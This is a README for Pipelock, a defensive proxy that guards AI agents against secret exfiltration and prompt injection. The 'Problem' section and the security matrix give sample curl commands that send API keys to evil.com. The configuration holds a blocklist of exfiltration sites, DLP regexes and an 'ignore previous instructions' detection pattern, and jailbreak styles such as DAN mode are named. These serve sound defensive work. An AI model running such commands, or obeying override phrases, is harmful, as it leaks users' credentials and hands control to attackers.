Content
<p align="center">
<img src="assets/logo.jpg" alt="Pipelock" width="200">
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# Pipelock
[](https://github.com/luckyPipewrench/pipelock/actions/workflows/ci.yaml)
[](https://goreportcard.com/report/github.com/luckyPipewrench/pipelock)
[](https://github.com/luckyPipewrench/pipelock/actions/workflows/security.yaml)
[](https://codecov.io/gh/luckyPipewrench/pipelock)
[](https://opensource.org/licenses/Apache-2.0)
**All-in-one security harness for AI agents.** One binary, zero dependencies. Controls network egress, detects credential exfiltration, scans for prompt injection, and monitors workspace integrity.
If you run Claude Code, OpenHands, or any AI agent with shell access and API keys, this is for you.
[Blog](https://luckypipewrench.github.io/pipelock/) | [OWASP Coverage](docs/owasp-mapping.md) | [Tool Comparison](docs/comparison.md)
[](https://asciinema.org/a/I1UzzECkeCBx6p42)
## The Problem
AI agents run with shell access, API keys in environment, and unrestricted internet. A compromised agent can exfiltrate secrets with one HTTP request:
```
curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY" # game over
```
## The Solution
Pipelock uses **capability separation** — the agent process (which has secrets) is network-restricted, while a separate fetch proxy (which has NO secrets) handles web browsing. Every request goes through a 7-layer scanner pipeline.
```mermaid
flowchart LR
subgraph PRIVILEGED["Privileged Zone"]
Agent["AI Agent\n(has API keys)"]
end
subgraph FETCH["Fetch Zone"]
Proxy["Fetch Proxy\n(NO secrets)"]
Scanner["Scanner Pipeline\nSSRF · Blocklist · Rate Limit\nDLP · Env Leak · Entropy · Length"]
end
subgraph NET["Internet"]
Web["Web"]
end
Agent -- "fetch URL" --> Proxy
Proxy --> Scanner
Scanner -- "clean content" --> Agent
Scanner -- "request" --> Web
style PRIVILEGED fill:#fee,stroke:#c33
style FETCH fill:#efe,stroke:#3a3
style NET fill:#eef,stroke:#33c
```
<details>
<summary>Text diagram (for terminals / non-mermaid renderers)</summary>
```
┌──────────────────────┐ ┌─────────────────────┐
│ PRIVILEGED ZONE │ │ FETCH ZONE │
│ │ │ │
│ AI Agent │ IPC │ Fetch Proxy │
│ - Has API keys │────────>│ - NO secrets │
│ - Has credentials │ "fetch │ - Full internet │
│ - Restricted network│ url" │ - Returns text │
│ │<────────│ - URL scanning │
│ Can reach: │ content │ - Audit logging │
│ ✓ api.anthropic.com │ │ │
│ ✓ discord.com │ │ Can reach: │
│ ✗ evil.com │ │ ✓ Any URL │
│ ✗ pastebin.com │ │ But has: │
└──────────────────────┘ │ ✗ No env secrets │
│ ✗ No credentials │
└─────────────────────┘
```
</details>
## Why Pipelock?
| | Pipelock | Scanners (mcp-scan) | Sandboxes (srt) | Kernel agents (agentsh) |
|---|---|---|---|---|
| Secret exfiltration prevention | Yes | No | Partial (domain-level) | Yes |
| DLP + entropy analysis | Yes | No | No | Partial |
| Prompt injection detection | Yes | Yes | No | No |
| Workspace integrity monitoring | Yes | No | No | Partial |
| MCP response scanning | Yes | Yes | No | No |
| Single binary, zero deps | Yes | No (Python) | No (npm) | No (kernel modules) |
| Audit logging + Prometheus | Yes | No | No | No |
Full comparison: [docs/comparison.md](docs/comparison.md)
## Quick Start
```bash
# Install (requires Go 1.24+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
# Generate a config
pipelock generate config --preset balanced -o pipelock.yaml
# Start the proxy
pipelock run --config pipelock.yaml
# Test: this should be blocked
pipelock check --url "https://pastebin.com/raw/abc123"
```
Or with Docker:
```bash
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
```
## OWASP Agentic Top 10 Coverage
| Threat | Coverage |
|--------|----------|
| ASI01 Prompt Injection | **Strong** — response + MCP scanning |
| ASI02 Insecure Tool Implementation | **Partial** — proxy as controlled tool, MCP scanning |
| ASI03 Privilege Escalation | **Strong** — capability separation + SSRF protection |
| ASI04 Insecure Output Handling | **Strong** — response scanning with block/strip/warn |
| ASI05 Multi-Agent Orchestration | **Partial** — agent ID, integrity, signing |
| ASI06 Excessive Agency | **Strong** — domain allowlist + rate limiting |
| ASI07 Supply Chain Attacks | **Partial** — integrity monitoring + MCP scanning |
| ASI08 Knowledge Base Poisoning | **Moderate** — injection detection on fetched content |
| ASI09 Insufficient Logging | **Strong** — structured JSON + Prometheus |
| ASI10 Uncontrolled Resource Consumption | **Strong** — rate limiting + size limits |
Details, config examples, and gap analysis: [docs/owasp-mapping.md](docs/owasp-mapping.md)
## Three Modes
| Mode | Security | Web Browsing | Use Case |
|------|----------|--------------|----------|
| **strict** | Airtight | None | Regulated industries, high-security |
| **balanced** | Blocks naive + detects sophisticated | Via fetch proxy | Most developers (default) |
| **audit** | Logging only | Unrestricted | Evaluation before enforcement |
## Security Matrix
What each mode prevents, detects, or logs:
| Attack Vector | Strict | Balanced | Audit |
|---------------|--------|----------|-------|
| `curl evil.com -d $SECRET` | **Prevented** | **Prevented** | Logged |
| Secret in URL query params | **Prevented** | **Detected** (DLP scan) | Logged |
| Base64-encoded secret in URL | **Prevented** | **Detected** (entropy scan) | Logged |
| DNS tunneling | **Prevented** | **Prevented** (restricted DNS) | Logged |
| Chunked exfiltration | **Prevented** | **Detected** (rate limiting) | Logged |
| Public-key encrypted blob in URL | **Prevented** | Logged (entropy flags it) | Logged |
> **Honest assessment:** Strict mode provides mathematical certainty. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today.
## Features
### URL Scanning
The fetch proxy runs a 7-layer scanner pipeline on every request:
1. **SSRF protection** — blocks internal/private IPs with DNS rebinding prevention
2. **Domain blocklist** — blocks known exfiltration targets (pastebin, transfer.sh)
3. **Rate limiting** — per-domain sliding window
4. **DLP patterns** — regex matching for API keys, tokens, and secrets
5. **Environment variable leak detection** — detects the proxy's own env var values in URLs (raw + base64, values must be 16+ chars with entropy > 3.0)
6. **Entropy analysis** — Shannon entropy flags encoded/encrypted data in URL segments
7. **URL length limits** — unusually long URLs suggest data exfiltration
### Response Scanning
Fetched content is scanned for prompt injection before reaching the agent:
- **Prompt injection** — "ignore previous instructions" and variants
- **System/role overrides** — attempts to hijack system prompts
- **Jailbreak attempts** — DAN mode, developer mode, etc.
Actions: `block` (reject entirely), `strip` (redact matched text), `warn` (log and pass through), `ask` (terminal y/N/s prompt with timeout — requires TTY)
### File Integrity Monitoring
```bash
pipelock integrity init ./workspace --exclude "logs/**"
pipelock integrity check ./workspace # exit 0 = clean
pipelock integrity check ./workspace --json # machine-readable
pipelock integrity update ./workspace # re-hash after review
```
SHA256 manifests detect modified, added, or removed files. See [lateral movement in multi-agent systems](https://luckypipewrench.github.io/pipelock/blog/2026/02/08/lateral-movement-multi-agent-llm/).
### Git Protection
```bash
git diff HEAD~1 | pipelock git scan-diff # scan for secrets in unified diff
pipelock git install-hooks --config pipelock.yaml # pre-push hook
```
Input must be unified diff format (with `+++ b/filename` headers and `+` lines). Plain text won't match.
### Ed25519 Signing
```bash
pipelock keygen my-bot # generate key pair
pipelock sign manifest.json --agent my-bot # sign a file
pipelock verify manifest.json --agent my-bot # verify signature
pipelock trust other-bot /path/to/other-bot.pub # trust a peer
```
Keys stored under `~/.pipelock/agents/` and `~/.pipelock/trusted_keys/`.
### MCP Proxy + Response Scanning
Wrap any MCP server as a stdio proxy. Pipelock forwards client requests unmodified and scans every server response for prompt injection before returning it:
```bash
# Wrap an MCP server (use in .mcp.json for Claude Code)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
# Batch scan (stdin)
mcp-server | pipelock mcp scan
pipelock mcp scan --json --config pipelock.yaml < responses.jsonl
```
Catches injection split across content blocks. Exit 0 if clean, 1 if injection detected.
### Multi-Agent Support
Each agent identifies itself via `X-Pipelock-Agent` header (or `?agent=` query parameter). All audit logs include the agent name for per-agent filtering.
```bash
curl -H "X-Pipelock-Agent: my-bot" "http://localhost:8888/fetch?url=https://example.com"
```
## Configuration
```yaml
version: 1
mode: balanced
enforce: true # set false for audit mode (log without blocking)
api_allowlist:
- "*.anthropic.com"
- "*.openai.com"
- "*.discord.com"
- "github.com"
fetch_proxy:
listen: "127.0.0.1:8888"
timeout_seconds: 30
max_response_mb: 10
user_agent: "Pipelock Fetch/1.0"
monitoring:
entropy_threshold: 4.5
max_url_length: 2048
max_requests_per_minute: 60
blocklist:
- "*.pastebin.com"
- "*.transfer.sh"
dlp:
scan_env: true
patterns:
- name: "Anthropic API Key"
regex: 'sk-ant-[a-zA-Z0-9\-_]{20,}'
severity: critical
- name: "AWS Access Key"
regex: 'AKIA[0-9A-Z]{16}'
severity: critical
response_scanning:
enabled: true
action: warn # block, strip, or warn
patterns:
- name: "Prompt Injection"
regex: '(?i)(ignore|disregard)\s+(all\s+)?(previous|prior)\s+(instructions|prompts)'
logging:
format: json
output: stdout
include_allowed: true
include_blocked: true
internal:
- "127.0.0.0/8"
- "10.0.0.0/8"
- "172.16.0.0/12"
- "192.168.0.0/16"
- "169.254.0.0/16"
- "::1/128"
- "fc00::/7"
- "fe80::/10"
git_protection:
enabled: false
allowed_branches: ["feature/*", "fix/*", "main"]
pre_push_scan: true
```
### Presets
| Preset | Mode | Action | Best For |
|--------|------|--------|----------|
| `configs/balanced.yaml` | balanced | warn | General purpose |
| `configs/strict.yaml` | strict | block | High-security environments |
| `configs/audit.yaml` | audit | warn | Log-only monitoring |
| `configs/claude-code.yaml` | balanced | block | Claude Code (unattended) |
| `configs/cursor.yaml` | balanced | block | Cursor IDE (unattended) |
| `configs/generic-agent.yaml` | balanced | warn | New agents (tuning phase) |
## Integration Guides
- **[Claude Code](docs/guides/claude-code.md)** — MCP proxy setup, `.claude.json` configuration, HTTP fetch proxy hooks
- Cursor — use `configs/cursor.yaml` with the same MCP proxy pattern as [Claude Code](docs/guides/claude-code.md)
## CI/CD Usage
```yaml
# .github/workflows/agent-security.yaml
name: Agent Security
on: [push]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: actions/setup-go@v5
with:
go-version: '1.24'
- run: go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
- name: Check config
run: pipelock check --config pipelock.yaml
- name: Scan diff for secrets
run: git diff origin/main...HEAD | pipelock git scan-diff --config pipelock.yaml
- name: Verify workspace integrity
run: pipelock integrity check ./
```
## Docker
```bash
# Pull from GHCR
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 ghcr.io/luckypipewrench/pipelock:latest
# Build locally
docker build -t pipelock .
docker run -p 8888:8888 pipelock
# Network-isolated agent (Docker Compose)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
```
The generated compose file creates two containers: **pipelock** (fetch proxy with internet) and **agent** (your AI agent on an internal-only network, can only reach pipelock).
## API Reference
<details>
<summary>Fetch proxy endpoints</summary>
```bash
# Fetch a URL (returns extracted text content)
curl "http://localhost:8888/fetch?url=https://example.com"
# Health check
curl "http://localhost:8888/health"
# Prometheus metrics
curl "http://localhost:8888/metrics"
# JSON stats (top blocked domains, scanner hits, block rate)
curl "http://localhost:8888/stats"
```
**Fetch response:**
```json
{
"url": "https://example.com",
"agent": "my-bot",
"status_code": 200,
"content_type": "text/html",
"title": "Example Domain",
"content": "This domain is for use in illustrative examples...",
"blocked": false
}
```
**Health response:**
```json
{
"status": "healthy",
"version": "x.y.z",
"mode": "balanced",
"uptime_seconds": 3600.5,
"dlp_patterns": 8,
"response_scan_enabled": true,
"git_protection_enabled": false,
"rate_limit_enabled": true
}
```
**Stats response:**
```json
{
"uptime_seconds": 3600.5,
"requests": {
"total": 150,
"allowed": 142,
"blocked": 8,
"block_rate": 0.053
},
"top_blocked_domains": [
{"name": "pastebin.com", "count": 5},
{"name": "transfer.sh", "count": 3}
],
"top_scanners": [
{"name": "blocklist", "count": 5},
{"name": "dlp", "count": 3}
]
}
```
</details>
## Building
```bash
make build # Build with version metadata
make test # Run tests
make lint # Lint
make docker # Build Docker image
```
## Project Structure
```
cmd/pipelock/ CLI entry point
internal/
cli/ Cobra commands (run, check, generate, logs, git, integrity, mcp,
keygen, sign, verify, trust, version, healthcheck)
config/ YAML config loading, validation, defaults, hot-reload (fsnotify)
scanner/ URL scanning (SSRF, blocklist, rate limit, DLP, entropy, env leak)
audit/ Structured JSON audit logging (zerolog)
proxy/ Fetch proxy HTTP server (go-readability, agent ID, DNS pinning)
metrics/ Prometheus metrics + JSON stats endpoint
gitprotect/ Git-aware security (diff scanning, branch validation, hooks)
integrity/ File integrity monitoring (SHA256 manifests, check/diff, exclusions)
signing/ Ed25519 key management, file signing, signature verification
mcp/ MCP stdio proxy + JSON-RPC 2.0 response scanning
hitl/ Human-in-the-loop terminal approval (ask action)
configs/ Preset config files (strict, balanced, audit, claude-code, cursor, generic-agent)
docs/ OWASP mapping, tool comparison
blog/ GitHub Pages blog (Jekyll)
```
## Credits
- Architecture influenced by [Anthropic's Claude Code sandboxing](https://www.anthropic.com/engineering/claude-code-sandboxing) and [sandbox-runtime](https://github.com/anthropic-experimental/sandbox-runtime)
- Threat model informed by [OWASP Agentic AI Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)
- See [docs/comparison.md](docs/comparison.md) for how Pipelock relates to [AIP](https://github.com/ArangoGutierrez/agent-identity-protocol), [agentsh](https://github.com/canyonroad/agentsh), and [srt](https://github.com/anthropic-experimental/sandbox-runtime)
- Security review contributions from Dylan Corrales
## License
Apache License 2.0 — Copyright 2026 Josh Waldrep
See [LICENSE](LICENSE) for the full text.
